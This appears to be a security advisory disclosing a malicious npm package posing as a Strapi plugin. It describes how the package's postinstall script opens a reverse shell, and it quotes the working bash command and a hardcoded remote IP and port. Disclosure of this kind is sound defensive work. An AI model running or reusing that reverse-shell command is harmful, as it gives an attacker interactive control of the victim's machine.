# MAL-2026-16193: Malicious code in strapi-plugin-yayccresh-meeb (npm)


- **Type:** Malicious package
- **Package:** `strapi-plugin-yayccresh-meeb` (npm)
- **Published:** 15 Sep 2026

## What is MAL-2026-16193?

MAL-2026-16193 is a malicious package in strapi-plugin-yayccresh-meeb, published on 15 Sep 2026. 

### Official description

The package's postinstall lifecycle script (`node postinstall.js`) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (`bash -i > /dev/tcp/14.225.210.85/443 0>&1`). Running `npm install` on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.

## What should I do about MAL-2026-16193?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
